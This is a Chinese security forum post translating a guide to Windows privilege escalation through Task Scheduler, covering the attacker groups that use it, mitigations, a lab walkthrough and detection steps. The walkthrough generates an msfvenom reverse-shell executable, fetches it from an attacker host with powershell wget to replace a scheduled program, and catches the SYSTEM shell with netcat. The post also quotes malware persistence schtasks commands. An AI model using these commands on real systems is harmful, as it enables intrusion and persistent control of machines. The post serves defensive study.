梦幻的彼岸 发表于 2021-12-24 17:24:47

[原创][翻译]Windws提权:任务计划程序

本帖最后由 梦幻的彼岸 于 2022-10-22 13:55 编辑

备注在网络攻击中往往涉及到提权技术,为更好的防御与溯源,故总结现有技术文章进行分享,欢迎共同讨论。涉及文章:https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-pagehttps://attack.mitre.org/techniques/T1053/005/
https://www.hackingarticles.in/w ... task-job-t1573-005/https://qastack.cn/programming/11013132/how-can-i-enable-the-windows-server-task-scheduler-history-recording原理攻击者可能会滥用Windows任务计划程序来执行任务计划,以初始或重复执行恶意代码。有多种方法可以访问Windows中的任务计划程序。schtasks可以直接在命令行上运行,也可以通过控制面板的Administrator Tools部分中的GUI打开Task Scheduler。在某些情况下,攻击者使用了一种策略。NET包装器,或者攻击者使用Windows netapi32库创建计划任务。不推荐使用的at实用程序也可能被对手滥用(例如:At (Windows)),尽管at.exe不能访问用schtasks或控制面板创建的任务。攻击者可以利用Windows任务计划程序在系统启动时或按计划执行程序,以达到持久性。Windows任务安排程序也可以被滥用来进行远程执行,作为横向移动的一部分,或者在指定账户(如SYSTEM)的背景下运行一个进程。


[*]任务计划程序功能描述:
[*]任务计划程序使你能够在选定的计算机上自动执行常规任务。任务计划程序通过监控你选择的任何标准(被称为触发器),然后在满足这些标准时执行任务。
[*]
[*]你可以使用任务计划程序来执行任务,如启动一个应用程序,发送一个电子邮件,或显示一个消息框。任务可以被安排为响应这些事件,或触发器而执行。
[*]配置不当:
[*]攻击者可以通过滥用通过任务计划程序自动运行的任何脚本、程序或服务来执行执行、持久化或权限提升。






相关程序示例

ID名称描述
S0331Agent TeslaAgent Tesla 通过计划任务实现了持久性.
S0504AnchorAnchor可以为持久性创建计划任务.
S0584AppleJeusAppleJeus 创建了一个预定的SYSTEM任务,当一个用户登录时运行。.
G0099APT-C-36APT-C-36 使用了一个宏功能来设置预定任务,伪装成谷歌使用的任务。.
G0016APT29APT29 使用并在远程主机上创建新的任务,作为横向移动的一部分.schedulerschtasks 他们通过更新现有的合法任务来操纵计划任务,以执行他们的工具,然后将计划任务恢复到原来的配置。. APT29 还创建了一个计划任务,以便在2020年SolarWinds入侵期间主机启动时维持SUNSPOT的持久性. 他们以前使用命名和劫持的计划任务,也是为了建立持久性.
G0022APT3APT3 下载器通过创建以下计划任务来创建持久性: .schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON /ru "System"
G0050APT32APT32 已经使用计划任务在受害者系统上持续存在。
G0064APT33APT33 已经创建了一个计划任务,每天多次执行一个.vbe文件.
G0067APT37APT37 创建了计划任务,在被攻击的主机上运行恶意的脚本。
G0082APT38APT38 已使用任务计划器在系统启动时或按计划运行程序,以实现持久性。
G0087APT39APT39 已经为持久性创建了计划任务。
G0096APT41APT41 使用一个被泄露的账户在一个系统上创建一个计划任务。
S0438AttorAttor's 安装程序插件可以安排一个新任务,在启动/登录时加载计划程序。
S0414BabySharkBabyShark 已经使用预定任务来维持持久性。
S0475BackConfigBackConfig 有能力使用预定任务在被攻击的主机上重复执行恶意payload。
S0606Bad RabbitBad Rabbit’该文件创建了一个计划任务来启动一个恶意的可执行文件infpub.dat。
S0128BADNEWSBADNEWS 创建一个计划任务,通过每隔一分钟执行一个恶意的有效载荷来建立。
S0534BazarBazar 可以为持久化创建一个计划任务。
G0108Blue MockingbirdBlue Mockingbird 已使用Windows计划任务在本地和远程主机上建立持久性。
S0360BONDUPDATERBONDUPDATER 使用一个每分钟执行一次的计划任务来持续进行。
G0060BRONZE BUTLERBRONZE BUTLER 曾使用schtasks 来注册一个计划任务,在横向移动过程中执行恶意软件。
S0335CarbonCarbon 创建几个任务供以后执行,以继续在受害者的机器上持久存在。
G0114ChimeraChimera 已经使用计划任务来调用Cobalt Strike,包括通过批处理脚本和维护持久性。schtasks /create /ru "SYSTEM" /tn "update" /tr "cmd /c c:\windows\temp\update.bat" /sc once /f /st
G0080Cobalt GroupCobalt Group 已经创建了Windows任务来建立持久性。
S0126ComRATComRAT 使用了一个计划任务来启动其PowerShell加载器。
S0050CosmicDukeCosmicDuke 使用通常被命名为 "Watchmon服务 "的计划任务来实现持久性.
G0132CostaRictoCostaRicto 已使用计划任务下载后门工具.
S0046CozyCarCozyCar 使用的一个持久性机制是将自己注册为一个计划任务.
S0538CrutchCrutch 有能力使用预定的任务来持续进行.
S0527CSPY DownloaderCSPY Downloader 可以使用 schtasks 工具来绕过 UAC.
G0074Dragonfly 2.0Dragonfly 2.0 使用预定任务,每8小时自动注销创建的账户,以及执行恶意文件。
S0038DuquDuqu 通过将自己复制到它所列举的、它已获得合法凭证(通过键盘记录或其他手段)的共享上进行横向传播。然后,远程主机被感染,方法是使用被破坏的凭证在远程机器上安排一个任务,执行恶意软件。.
S0024DyreDyre 有能力通过在任务计划程序中添加一个新任务来实现持久性,每分钟运行一次。
S0367EmotetEmotet 通过一个预定任务保持了持久性。
S0363EmpireEmpire 拥有与Windows任务计划程序互动的模块。
S0396EvilBunnyEvilBunny 曾使用计划任务执行命令。
G0051FIN10FIN10 已经通过使用S4U任务以及PowerShell Empire中的Scheduled Task选项建立了持久性。
G0037FIN6FIN6 它使用计划任务为其使用的各种恶意软件建立持久性,包括被称为HARDTACK和SHIPBREAD的下载器和 FrameworkPOS.
G0046FIN7FIN7 恶意软件已经创建了计划任务,以建立持久性。
G0061FIN8FIN8 曾使用计划任务来维护RDP后门。
G0117Fox KittenFox Kitten 使用调度任务来实现持久性,并加载和执行一个反向代理二进制.
G0101FrankensteinFrankenstein 作为通过一个计划任务建立的持久性,使用命令: , named "WinUpdate". /Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR
G0093GALLIUMGALLIUM 通过创建一个计划任务。建立了持久性的 PoisonIvy
G0047Gamaredon GroupGamaredon Group 创建了一个计划任务,每10分钟启动一个可执行文件.
S0168GazerGazer 可以通过创建一个计划任务来建立持久性.
S0588GoldMaxGoldMax 已使用计划任务来保持持久性.
S0477GoopyGoopy 有能力通过创建设置为每小时运行的计划任务来保持持久性.
S0237GravityRATGravityRAT 创建一个计划任务,确保每天重新执行.
S0417GRIFFONGRIFFON 曾用于持久性 sctasks
S0632GrimAgentGrimAgent 有能力使用任务调度器来设置持久性。
S0170HelminthHelminth 已经使用了一个预定任务来实现持久化。
G0126HigaisaHigaisa 删除并添加到计划任务中.officeupdate.exe
S0431HotCroissantHotCroissant 试图在启动时安装一个名为 "Java Maintenance64 "的计划任务以建立持久性。
S0483IcedIDIcedID 已经创建了一个计划任务,每小时执行一次,以建立持久性。
S0260InvisiMoleInvisiMole 已使用预定任务命名并建立持久性.MSST\Microsoft\Windows\Autochk\Scheduled
S0581IronNetInjectorIronNetInjector 已经使用了一个任务XML文件,命名为在用户登录时或特定系统事件产生时运行IronPython脚本.mssch.xml
S0189ISMInjectorISMInjector 创建计划任务以建立持久性。
S0044JHUHUGITJHUHUGIT 已将自己注册为一个计划任务,在当前用户每次登录时运行。
S0648JSS LoaderJSS Loader 有能力启动计划任务以建立持久性。
S0447LokibotLokibot 在批处理脚本中嵌入这些命令.schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
S0532LuciferLucifer 已经通过创建以下计划任务建立了持久性 .schtasks /create /sc minute /mo 1 /tn QQMusic ^ /tr C:Users\%USERPROFILE%\Downloads\spread.exe /F
S0409MacheteMachete 的不同组件是由Windows任务调度器执行的。
G0095MacheteMachete 已经创建了计划任务来维护 Machete'的持久性。
S0167MatryoshkaMatryoshka 可以通过添加一个名为 "Microsoft Boost Kernel Optimization "的计划任务来建立持久性。
S0449MazeMaze 已经创建了使用 "Windows Update Security"、"Windows Update Security Patches "和 "Google Chrome Security Update "等名称变体的计划任务,以便在特定时间启动 Maze
S0500MCMDMCMD 可以使用计划任务来实现持久化。
G0045menuPassmenuPass 已使用一个脚本(atexec.py)通过任务调度器在目标机上执行一个命令。
G0021MoleratsMolerats 已经创建了计划任务来持续运行VBS脚本。
G0069MuddyWaterMuddyWater 已经使用计划任务来建立持久性。
G0129Mustang PandaMustang Panda 已经创建了一个计划任务来执行额外的恶意软件,并保持持久性。
G0019NaikonNaikon 在被攻击的网络中使用schtasks.exe进行横向移动。
S0198NETWIRENETWIRE 可以创建一个计划任务来建立持久性。
S0368NotPetyaNotPetya 创建一个任务,在感染后一小时内重新启动系统。.
G0049OilRigOilRig 已经创建了计划任务,运行VBScript,在受害者机器上执行payload。
S0439OkrumOkrum's 安装程序可以尝试通过创建一个计划任务来实现持久性。
S0264OopsIEOopsIE 创建一个计划任务,每三分钟运行一次。
G0116Operation WocaoOperation Wocao 利用计划任务在远程系统上执行恶意的PowerShell代码。
G0040PatchworkA Patchwork 文件窃取者可以运行一个TaskScheduler DLL来增加持久性.
S0194PowerSploitPowerSploit's 持久性参数可以通过 Scheduled Task/Job.建立新用户持久性选项
S0223POWERSTATSPOWERSTATS 已经通过使用命令的计划任务建立了持久性。 ."C:\Windows\system32\schtasks.exe" /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR "c:\Windows\system32\wscript.exe C:\Windows\temp\Windows.vbe"
S0184POWRUNERPOWRUNER 通过每分钟执行一次的计划任务来持续进行。
S0147PteranodonPteranodon 安排任务来调用其组件,以建立持久性。
S0650QakBotQakBot 有能力为持久性创建计划任务。
S0269QUADAGENTQUADAGENT 创建一个计划任务,在受害者的机器上保持持久性。
S0262QuasarRATQuasarRAT 包含一个.NET包装DLL,用于创建和管理计划任务,以便在重启时维持持久性.
S0629RainyDayRainyDay 可以使用计划任务来实现持久性.
S0458RamsayRamsay 可以通过Windows COM API安排任务以保持持久性.
G0075RancorRancor 启动一个计划任务以获得持久性,使用的命令是.schtasks /create /sc
S0375RemexiRemexi 利用计划任务作为一种持久性机制。
S0166RemoteCMDRemoteCMD 可以通过在远程系统上创建一个新的计划任务来远程执行命令。
S0379Revenge RATRevenge RAT 安排任务,在不同时间段运行恶意脚本。
S0148RTMRTM 试图添加一个计划任务来建立持久性。
S0446RyukRyuk 可以远程创建一个计划任务,在系统上自行执行
S0111schtasksschtasks 用来安排Windows系统上的任务在特定的日期和时间运行。.
S0382ServHelperServHelper 包含的模块将使用schtasks 进行恶意的操作.
S0140ShamoonShamoon 通过使用以下方法将可执行有效载荷复制到目标系统上 SMB/Windows Admin Shares 然后调度一个未命名的任务来执行该恶意软件.
S0546SharpStageSharpStage 有一个持久性组件,为payload编写一个预定任务。
S0589SibotSibot 已经通过一个计划任务执行。
G0091SilenceSilence 已使用计划任务来安排其操作。
S0226Smoke LoaderSmoke Loader 启动一个计划任务。
S0516SoreFangSoreFang 可以通过使用计划任务获得持久性。
S0390SQLRatSQLRat 中创建了计划任务。 .%appdata%\Roaming\Microsoft\Templates\
G0038Stealth FalconStealth Falcon 恶意软件创建了一个名为 "IE Web Cache"的计划任务 每小时执行一个恶意文件。
S0603StuxnetStuxnet 安排一个网络工作,在主机感染后两分钟执行。
G0088TEMP.VelesTEMP.Veles 曾使用了预定任务的XML触发器。
S0266TrickBotTrickBot 在系统上创建一个计划任务,提供持久性。
S0476ValakValak它使用预定任务来执行额外的payload并在被攻击的主机上获得持久性。
G0102Wizard SpiderWizard Spider has used scheduled tasks establish persistence for TrickBot and other malware.
S0248ytyyty 通过用命令创建一个计划任务来建立持久性。 .SchTasks /Create /SC DAILY /TN BigData /TR " + path_file + "/ST 09:30"
S0251ZebrocyZebrocy 有一个命令,用于创建持久性的计划任务。
S0350zwShellzwShell 已使用SchTasks进行执行。
缓解措施


ID缓解描述
M1047审计像PowerSploit框架这样的工具包包含PowerUp模块,可用于探索系统中可用于提升权限的计划任务的权限弱点。
M1028操作系统配置配置计划任务的设置,强制任务在认证账户的环境下运行,而不是允许它们以SYSTEM的身份运行。相关的注册表键位于 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl. 该设置可以通过以下方式进行配置 GPO: Computer Configuration > > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: 允许服务器操作员安排任务,设置为禁用.
M1026特权账户管理配置 "提高计划优先级 "选项,只允许管理员组有计划优先级进程的权利。这可以通过以下方式进行配置 GPO: Computer Configuration > > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority.
M1018用户账户管理限制用户账户的权限,补救权限升级的载体,以便只有授权的管理员可以在远程系统上创建计划任务。
模拟测试
从程序菜单内运行任务计划程序。https://bbs.huorong.cn/data/attachment/forum/202112/24/172048hxzxrnub7t6ar73x.jpg步骤1:浏览任务计划程序库以创建任务。https://bbs.huorong.cn/data/attachment/forum/202112/24/172039q1wrkw1m4se44rrr.jpg步骤2:为登录的用户分配一个任务,以最高权限执行。https://bbs.huorong.cn/data/attachment/forum/202112/24/172018ut8q7z98z7t9ddjm.jpg
步骤3:选择 "触发器 "选项来启动一个预定任务/工作。https://bbs.huorong.cn/data/attachment/forum/202112/24/171956oi2qhfxfyho2ihg2.jpg步骤4:在这里,我们已经安排了任务的复发发生。https://bbs.huorong.cn/data/attachment/forum/202112/24/171937ce7ov9qqvkyll07q.jpg步骤5:当你创建一个任务时,你必须指定任务开始时将发生的操作。https://bbs.huorong.cn/data/attachment/forum/202112/24/171918xbs7p7ixso1bop5x.jpg步骤6:指定一个计划任务要执行的行动类型。例如,通过一些可执行程序安排系统的备份。https://bbs.huorong.cn/data/attachment/forum/202112/24/171859add1yz0gyzy056e1.jpg下面的示例目录为:Imp Jobs步骤7:这样,计划任务将在每天的特定时间被触发,以进行备份或计划工作,定义为操作。步骤8:攻击者可以通过利用计划任务/作业来提升权限。有了初步的立足点后,我们可以查询以获取计划任务的列表。schtasks /query /fo LIST /V英文:https://bbs.huorong.cn/data/attachment/forum/202112/24/171840uhtg247x18jwq2yp.jpg中文:https://bbs.huorong.cn/data/attachment/forum/202112/24/171834zhz8wwy77oaomcyo.jpg这有助于攻击者了解哪个应用程序在什么时间连接执行。https://bbs.huorong.cn/data/attachment/forum/202112/24/171810ev3bbnznbmaaoum9.jpg为了获得一个作为NT权限SYSTEM的反向外壳,让我们创建一个恶意的exe文件,通过计划任务执行。 使用Msfvenom,我们已经创建了一个被注入目标系统的exe文件。

[*]msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > shell.exe

https://bbs.huorong.cn/data/attachment/forum/202112/24/171739dre2fu7pqiiignzj.jpg为了滥用计划的任务,攻击者要么通过覆盖来修改应用程序,要么用副本替换原始文件。为了在同一个目录中插入一个重复的文件,我们将原始文件重命名为file.bak。https://bbs.huorong.cn/data/attachment/forum/202112/24/171720xypjkveetl7zylxj.jpg然后在wget命令的帮助下在同一个目录下下载了恶意的file.exe

[*]powershell wget 192.168.1.3/shell.exe –o file.exe

https://bbs.huorong.cn/data/attachment/forum/202112/24/171659xgul522p7cgx21gg.jpg一旦重复的file.exe被注入到同一目录中,那么,file.exe将通过任务计划程序自动执行。由于攻击者确保netcat监听器必须处于监听模式,以获得特权shell的反向连接。

[*]nc -lvp 8888
[*]whoami /priv




https://bbs.huorong.cn/data/attachment/forum/202112/24/171638w1y2s1isxqcdzua9.jpg检测
[*]Sysinternals Autoruns等工具可以检测系统的变化,如显示目前预定的工作。
[*]像TCPView & Process Explore这样的工具可以帮助识别可疑服务或进程的远程连接。
[*]查看任务属性和历史。通过使用命令行来查看任务的属性和历史记录

[*]Schtasks /Query /FO LIST /V





[*]启用事件日志服务内的 "Microsoft-Windows-TaskScheduler/Operational "配置,以报告计划任务的创建和更新。
[*]

[*]Task Scheduler应用程序中的调整实际上仅控制某个事件日志的启用状态,因此您可以通过Windows命令行等效地调整Task Scheduler的“历史记录”模式:
[*]wevtutil set-log Microsoft-Windows-TaskScheduler/Operational /enabled:true
[*]要检查当前状态:
[*]wevtutil get-log Microsoft-Windows-TaskScheduler/Operational
[*]对于不喜欢按键的操作,以下是上述内容的略微缩写形式:
[*]wevtutil sl Microsoft-Windows-TaskScheduler/Operational /e:true
[*]wevtutil gl Microsoft-Windows-TaskScheduler/Operational


示例图
https://bbs.huorong.cn/data/attachment/forum/202112/24/171615vpxs5hgdexaeypjh.jpg测试监控

连接时数据
https://bbs.huorong.cn/data/attachment/forum/202210/22/132204xgqgonpz44gffepp.jpg
相关协议
https://bbs.huorong.cn/data/attachment/forum/202210/22/132219z4cqft7kssd7fdtp.jpg
执行命令
https://bbs.huorong.cn/data/attachment/forum/202210/22/132233pek2n2m7mjslm11s.jpg
exit退出断开连接
https://bbs.huorong.cn/data/attachment/forum/202210/22/132248qapalob0doagao8u.jpg

hehe549124 发表于 2021-12-25 14:11:06

虽然看不懂,但是觉得很高大上

onhawk 发表于 2021-12-28 10:17:26

谢谢分享,支持

chinabeater 发表于 2021-12-28 15:24:42

虽然没看懂,但还是感谢楼主的无私分享

4519931 发表于 2021-12-30 22:24:46

楼主辛苦了,感谢分享

那伤你得给 发表于 2021-12-31 08:46:13

        PYG有你更精彩!

叶知秋_lz 发表于 2022-1-3 02:59:34

666666666666 学到了 学到了

mick 发表于 2022-1-22 22:42:43

学到了,在提权中很有用
页: [1]
查看完整版本: [原创][翻译]Windws提权:任务计划程序